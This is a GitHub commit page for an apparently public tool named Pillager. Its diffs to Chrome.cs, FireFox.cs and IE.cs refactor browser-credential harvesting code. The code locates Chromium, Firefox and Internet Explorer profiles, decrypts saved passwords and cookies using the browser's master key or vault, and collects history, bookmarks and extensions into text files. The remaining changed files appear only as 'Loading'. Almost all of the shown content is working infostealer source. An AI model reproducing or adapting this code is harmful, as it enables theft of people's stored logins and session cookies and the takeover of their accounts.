Skip to content

Commit

Permalink
update
Browse files Browse the repository at this point in the history
  • Loading branch information
qwqdanchun committed Aug 1, 2024
1 parent 136ca40 commit 48499d7
Show file tree
Hide file tree
Showing 57 changed files with 3,370 additions and 548 deletions.
58 changes: 30 additions & 28 deletions Pillager/Browsers/Chrome.cs
Original file line number Diff line number Diff line change
Expand Up @@ -2,23 +2,24 @@
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Management;
using System.Security.Cryptography;
using System.Text;
using Pillager.Helper;

namespace Pillager.Browsers
{
public static class Chrome
public class Chrome : ICommand
{
public static string BrowserPath { get; set; }
public string BrowserPath { get; set; }

public static string BrowserName { get; set; }
public string BrowserName { get; set; }

public static byte[] MasterKey { get; set; }
public byte[] MasterKey { get; set; }

private static string[] profiles { get; set; }
private string[] profiles { get; set; }

public static Dictionary<string, string> browserOnChromium = new Dictionary<string, string>
public Dictionary<string, string> browserOnChromium = new Dictionary<string, string>
{
{ "Chrome", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"Google\\Chrome\\User Data" )} ,
{ "Chrome Beta",Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome Beta\\User Data" )},
Expand All @@ -44,10 +45,10 @@ public static class Chrome
{ "Iridium", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"Iridium\\User Data" )},
{ "Opera", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),"Opera Software\\Opera Stable" )},
{ "Opera GX", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),"Opera Software\\Opera GX Stable" )},
{ "The World", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"theworld6\\User Data" )},
};


public static byte[] GetMasterKey()
public byte[] GetMasterKey()
{
string filePath = Path.Combine(BrowserPath, "Local State");
byte[] masterKey = new byte[] { };
Expand All @@ -71,13 +72,13 @@ public static byte[] GetMasterKey()
}
}

private static byte[] DecryptData(byte[] buffer)
private byte[] DecryptData(byte[] buffer)
{
byte[] decryptedData = null;
if (MasterKey is null) return null;
try
{
string bufferString = Encoding.Default.GetString(buffer);
string bufferString = Encoding.UTF8.GetString(buffer);
if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11"))
{
byte[] iv = new byte[12];
Expand All @@ -99,7 +100,7 @@ private static byte[] DecryptData(byte[] buffer)
return decryptedData;
}

public static string Chrome_passwords()
public string Chrome_passwords()
{
StringBuilder passwords = new StringBuilder();
foreach (var profile in profiles)
Expand Down Expand Up @@ -133,7 +134,7 @@ public static string Chrome_passwords()
return passwords.ToString();
}

public static string Chrome_history()
public string Chrome_history()
{
StringBuilder history = new StringBuilder();
foreach (var profile in profiles)
Expand All @@ -160,19 +161,19 @@ public static string Chrome_history()
return history.ToString();
}

public static string Chrome_cookies()
public string Chrome_cookies()
{
StringBuilder cookies = new StringBuilder();
foreach (var profile in profiles)
{
string chrome_cookie_path = Path.Combine(BrowserPath, profile + "\\Cookies");
string chrome_100plus_cookie_path = Path.Combine(BrowserPath, profile + "\\Network\\Cookies");
if (!File.Exists(chrome_cookie_path))
chrome_cookie_path = chrome_100plus_cookie_path;
if (!File.Exists(chrome_cookie_path))
continue;
try
{
string chrome_cookie_path = Path.Combine(BrowserPath, profile + "\\Cookies");
string chrome_100plus_cookie_path = Path.Combine(BrowserPath, profile + "\\Network\\Cookies");
if (File.Exists(chrome_100plus_cookie_path))
chrome_cookie_path = chrome_100plus_cookie_path;
if (!File.Exists(chrome_cookie_path))
continue;
string cookie_tempFile = Path.GetTempFileName();
try
{
Expand All @@ -196,6 +197,7 @@ public static string Chrome_cookies()
string host_key = handler.GetValue(i, "host_key");
string name = handler.GetValue(i, "name");
string crypt = handler.GetValue(i, "encrypted_value");
if (string.IsNullOrEmpty(crypt)) continue;
string path = handler.GetValue(i, "path");
double expDateDouble = 0;
long.TryParse(handler.GetValue(i, "expires_utc"), out var expDate);
Expand All @@ -219,15 +221,15 @@ public static string Chrome_cookies()
}
catch { }
}
if (cookies.Length > 0)
if (cookies.Length > 3)
{
string temp = cookies.ToString();
return "[" + temp.Substring(0, temp.Length - 3) + "]";
}
return cookies.ToString();
}

public static string Chrome_books()
public string Chrome_books()
{
StringBuilder stringBuilder = new StringBuilder();
foreach (var profile in profiles)
Expand All @@ -241,7 +243,7 @@ public static string Chrome_books()
return stringBuilder.ToString();
}

public static string Chrome_extensions()
public string Chrome_extensions()
{
StringBuilder stringBuilder = new StringBuilder();
foreach (var profile in profiles)
Expand Down Expand Up @@ -273,7 +275,7 @@ public static string Chrome_extensions()
return stringBuilder.ToString();
}

public static void Save(string path)
public override void Save(string path)
{
foreach (var browser in browserOnChromium)
{
Expand All @@ -300,15 +302,15 @@ public static void Save(string path)
string savepath = Path.Combine(path, BrowserName);
Directory.CreateDirectory(savepath);
string cookies = Chrome_cookies();
if (!string.IsNullOrEmpty(cookies)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_cookies.txt"), cookies,Encoding.UTF8);
string passwords = Chrome_passwords();
if (!string.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords, Encoding.UTF8);
string books = Chrome_books();
if (!string.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books, Encoding.UTF8);
string history = Chrome_history();
if (!string.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history, Encoding.UTF8);
string extension = Chrome_extensions();
if (!string.IsNullOrEmpty(cookies)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_cookies.txt"), cookies);
if (!string.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords);
if (!string.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books);
if (!string.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
if (!string.IsNullOrEmpty(extension)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_extension.txt"), extension);
if (!string.IsNullOrEmpty(extension)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_extension.txt"), extension, Encoding.UTF8);
foreach (var profile in profiles)
{
Directory.CreateDirectory(Path.Combine(BrowserPath, profile));
Expand Down
34 changes: 16 additions & 18 deletions Pillager/Browsers/FireFox.cs
Original file line number Diff line number Diff line change
Expand Up @@ -7,16 +7,14 @@

namespace Pillager.Browsers
{
internal static class FireFox
internal class FireFox: ICommand
{
public static string BrowserName = "FireFox";

public static string BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
public string BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"Mozilla\\Firefox\\Profiles");

public static string masterPassword = "";
public string masterPassword = "";

public static string FireFox_cookies()
public string FireFox_cookies()
{
StringBuilder cookies = new StringBuilder();
foreach (var directory in Directory.GetDirectories(BrowserPath))
Expand Down Expand Up @@ -47,7 +45,7 @@ public static string FireFox_cookies()
return cookies.ToString();
}

public static string FireFox_history()
public string FireFox_history()
{
StringBuilder history = new StringBuilder();
foreach (var directory in Directory.GetDirectories(BrowserPath))
Expand Down Expand Up @@ -75,7 +73,7 @@ public static string FireFox_history()
return history.ToString();
}

public static string FireFox_books()
public string FireFox_books()
{
StringBuilder books = new StringBuilder();
foreach (var directory in Directory.GetDirectories(BrowserPath))
Expand Down Expand Up @@ -117,7 +115,7 @@ public static string FireFox_books()
return books.ToString();
}

public static string FireFox_passwords()
public string FireFox_passwords()
{
StringBuilder password = new StringBuilder();
foreach (var directory in Directory.GetDirectories(BrowserPath))
Expand Down Expand Up @@ -200,7 +198,7 @@ public static string FireFox_passwords()
return password.ToString();
}

public static string decryptLogins(string loginsJsonPath, byte[] privateKey)
public string decryptLogins(string loginsJsonPath, byte[] privateKey)
{
StringBuilder sb = new StringBuilder();
Asn1Der asn = new Asn1Der();
Expand All @@ -219,7 +217,7 @@ public static string decryptLogins(string loginsJsonPath, byte[] privateKey)
return sb.ToString();
}

public static Login[] ParseLoginFile(string path)
public Login[] ParseLoginFile(string path)
{
string rawText = File.ReadAllText(path);
int openBracketIndex = rawText.IndexOf('[');
Expand All @@ -228,7 +226,7 @@ public static Login[] ParseLoginFile(string path)
return ParseLoginItems(loginArrayText);
}

public static Login[] ParseLoginItems(string loginJSON)
public Login[] ParseLoginItems(string loginJSON)
{
int openBracketIndex = loginJSON.IndexOf('{');
List<Login> logins = new List<Login>();
Expand Down Expand Up @@ -273,21 +271,21 @@ public static Login[] ParseLoginItems(string loginJSON)
}
return logins.ToArray();
}
public static void Save(string path)
public override void Save(string path)
{
try
{
if (!Directory.Exists(BrowserPath)) return;
string savepath = Path.Combine(path, BrowserName);
string savepath = Path.Combine(path, "FireFox");
Directory.CreateDirectory(savepath);
string cookies = FireFox_cookies();
string history = FireFox_history();
string books = FireFox_books();
string passwords = FireFox_passwords();
if (!String.IsNullOrEmpty(cookies)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_cookies.txt"), cookies);
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books);
if (!String.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords);
if (!String.IsNullOrEmpty(cookies)) File.WriteAllText(Path.Combine(savepath, "FireFox_cookies.txt"), cookies, Encoding.UTF8);
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, "FireFox_history.txt"), history, Encoding.UTF8);
if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, "FireFox_books.txt"), books, Encoding.UTF8);
if (!String.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, "FireFox_passwords.txt"), passwords, Encoding.UTF8);
foreach (var directory in Directory.GetDirectories(BrowserPath))
{
if (File.Exists(Path.Combine(directory, "storage-sync-v2.sqlite")))
Expand Down
28 changes: 10 additions & 18 deletions Pillager/Browsers/IE.cs
Original file line number Diff line number Diff line change
Expand Up @@ -10,22 +10,14 @@

namespace Pillager.Browsers
{
public static class IE
public class IE : ICommand
{
public static string BrowserName = "IE";

[DllImport("kernel32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool IsWow64Process(IntPtr hProcess, out bool wow64Process);

[DllImport("kernel32")]
public static extern IntPtr GetCurrentProcess();

public static string IE_passwords()
public string IE_passwords()
{
if (IntPtr.Size == 4)
{
IsWow64Process(GetCurrentProcess(), out var is64Bit);
Native.IsWow64Process(Native.GetCurrentProcess(), out var is64Bit);
if (is64Bit)
{
return "Don't support recovery IE password from wow64 process";
Expand Down Expand Up @@ -224,7 +216,7 @@ object GetVaultElementValue(IntPtr vaultElementPtr)
return sb.ToString();
}

public static string IE_history()
public string IE_history()
{
StringBuilder sb = new StringBuilder();
RegistryKey myreg = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Internet Explorer\\TypedURLs");
Expand All @@ -248,7 +240,7 @@ public static string IE_history()
return sb.ToString();
}

public static string IE_books()
public string IE_books()
{
StringBuilder sb = new StringBuilder();
string book_path = Environment.GetFolderPath(Environment.SpecialFolder.Favorites);
Expand All @@ -269,18 +261,18 @@ public static string IE_books()
return sb.ToString();
}

public static void Save(string path)
public override void Save(string path)
{
try
{
string savepath = Path.Combine(path, BrowserName);
string savepath = Path.Combine(path, "IE");
Directory.CreateDirectory(savepath);
string passwords = IE_passwords();
string books = IE_books();
string history = IE_history();
if (!String.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords);
if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books);
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
if (!String.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, "IE_passwords.txt"), passwords, Encoding.UTF8);
if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, "IE_books.txt"), books, Encoding.UTF8);
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, "IE_history.txt"), history, Encoding.UTF8);
}
catch { }
}
Expand Down
Loading

0 comments on commit 48499d7

Please sign in to comment.